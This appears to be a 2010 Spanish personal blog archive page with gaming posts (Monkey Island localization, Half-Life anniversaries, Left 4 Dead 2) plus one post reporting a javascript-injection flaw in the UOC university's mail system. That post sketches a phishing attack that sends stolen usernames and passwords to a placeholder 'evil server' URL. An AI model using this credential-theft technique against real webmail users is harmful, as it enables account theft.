lunes, 29 de noviembre de 2010

FX Interactive podría editar Tales of Monkey Island en castellano

Tales of Monkey Island es la quinta y última aventura de Guybrush Threepwood. En esta ocasión el desarrollo ha estado en mano de Telltale Games, en lugar de Lucas Arts (la propietara de la licencia).

El juego se ha editado sólo en inglés y recientemente en alemán. Ha pasado el tiempo y los aficionados hispano hablantes lo único que tenemos es una traducción amateur, gracias a los chicos de la cueva de los clásicos.

Hace unos días contacté con FX Interactive, editora española que se ha caracterizado por traernos juegos de muy buena calidad a precios muy razonables. Y no sólo eso, si no que siempre (o quizás casi siempre, no estoy seguro) se encargan de traducirlos y doblarlos al castellano. Todo los aficionados a las aventuras conoceran títulos como Runaway, todo un éxito a nivel internacional.

Así que, ¿quién mejor que FX Interactive para editar Tales of Monkey Island en nuestro país?

La respuesta la acabo de recibir hace a penas unos segundos y no podría ser más esperanzadora para los aficionados a esta gran saga. Y aunque no creo que sea apropiado copy&pastear el correo; lo resumiré en que:

Actualmente se encuentran en negociaciones con Lucas Arts y Telltale Games, si hubiese acuerdo, tenemos Monkey Island en español.
¡Gracias FX!

EDIT
Meristation se ha hecho eco de la noticia, donde dejé un mensaje en sus foros y se ha puesto en contacto con FX para confirmar los rumores...
http://www.meristation.com/v3/des_noticia.php?id=cw4cf3f329de53e&pic=G​EN#

Adiós Goear, bienvenido Grooveshark

Goear es un servicio que muchos conoceréis, el youtube de la música español. Toda la música en streaming que queramos y gratis; no se puede pedir más o quizás sí.

Entiendo que este tipo de servicios se basen en la publicidad para pagar cánon, servidores, mantenimiento, desarrollo, etc. Pero desde que Grooveshark apareció en escena, al menos para publicar en el blog no tiene mucho sentido seguir usando Goear.

El motivo es sencillo:

¿se puede meter más publicidad?
Ya no sólo te meten publicidad a través del audio (otro de los motivos por los que prefiero Grooveshark a Spotify), si no que empezamos con los baner en flash intrusivos que tanto gustan.

Adiós goear (quizás sea hasta pronto), bienvenido Grooveshark.

domingo, 28 de noviembre de 2010

Left 4 Dead 2

Ya tengo juego para estas navidades, porque, ¿hay algo más navideño que enfrentarse a una orda de zombies en modo cooperativo?


Lo mejor de todo es el precio, hasta las 19:00 del día de hoy a 3,5€.

A parte, aprovecho para celebrar que estamos a un sólo mes de coger las vacaciones navideñas, dos semanitas de descanso... más bien de relativo descanso porque los exámenes llegan en enero...

jueves, 25 de noviembre de 2010

Error de seguridad en el correo de la UOC

El sistema de comunicación de la Universitat Oberta de Catalunya está basado en su correo interno. Casi todo se hace a través del envío de correos electrónicos: entrega de prácticas, comentarios en los foros y tablones, mensajes a compañeros y profesores, etc.

Acordándome del reciente caso del chico de Sevilla que descubrió una vulnerabilidad con la famosa red social Twitter, decidí "probar suerte" con el correo de la UOC.

Era sencillo, sólo tenía que mandarme un correo con un simple alert de javascript a mí mismo y comprobar el resultado:



El correo se manda sin ningún problema como es de esperar. Unos instantes después aparece en mi buzón el aviso de que tengo un nuevo email sin leer:


Procedemos a abrir el mensaje y ¡sorpresa!:



El resultado salta a la vista. A través del correo de la UOC podemos inyectar javascript para hacer todo lo que este lenguaje nos permite. ¿Qué se puede hacer? casi de todo. Modificar los estilos de la página web, cerrarla, redireccionarla, leer la cookie, insertar nuevos campos, sacar ventanitas.

Un ejemplo podría ser abrir una nueva ventana informando al usuario que la sesión ha caducado y que debe de introducir de nuevo sus datos. Con un keylogger registrar nombre de usuario y contraseña y mandarlos por parámetro con un simple windows.location.href tal que así: 
http://nuestro_servidor_malvado/recoge_datos.php?user=usuario&password=123456
Usando AJAX se podría disimular toda esta parafernalia, siendo casi totalmente transparente para un usuario no familiarizado con las ténicas de phishing.

lunes, 22 de noviembre de 2010

... y The Secret of Monkey Island cumple 20 años

Va la cosa de cumpleaños (voy a tener que crear una nueva categoría en el blog xD), y es que en el mes de octubre The Secret of Monkey Island cumplía la friolera de dos décadas (voy un mes tarde, lo sé, estoy demasiado ocupado).

Hubiese posteado para esta ocasión el tributo en vídeo que hice y subí a mi cuenta de youtube, pero como me la eliminaron y me tuve que hacer otra, perdí los vídeos que tenía en ésta. :_(



Jugué por primera vez en un IBM 80286 con un 1MB de RAM, 40 megas de disco duro, y una pantalla en blanco y negro de 9" de estas que todavía usan en los cajeros de El Corte Inglés. Creo que mis ojos nunca me lo perdonarán, aún así mereció la pena.

Antes sólo había jugado a Maniac Mansion y aunque sin duda es una gran aventura, el salto entre una y otra fue abismal. La libertad para moverte por varías islas, la ambientación, los personajes, la música, el humor y un largo etcétera han convertido a este juego en el referente de las aventuras clásicas.

Una auténtica joya.

viernes, 19 de noviembre de 2010

... y hoy hace 12 años...

...que Valve publicó, el que es a gusto personal (y de muchos), el principio de la mejor saga de FPS de la historia. Half-Life cambió la forma de ver los shooters, dejarón de ser simples mata-mata e introdujo nuevas y revolucionarias ideas para la época.

 

La clave del éxito reside en parte en su protagonista. Gordon Freeman no es un superhéroe, es un científico más que trabaja en las instalaciones de Black Mesa. Los acontecimientos allí ocurridos son la base de esta magnífica saga.
Felicidades, pero... ¡Queremos más!

martes, 16 de noviembre de 2010

Hoy hace 6 años.

Al mirar la fecha he sentido que algo importante pasó un 16 de Noviembre. He tardado varios segundos en recordar qué era: 16 de Noviembre de 2004; hoy hace 6 años que...

Valve publicó en PC uno de los mejores juegos de la historia:

 
Carátula de Half-Life 2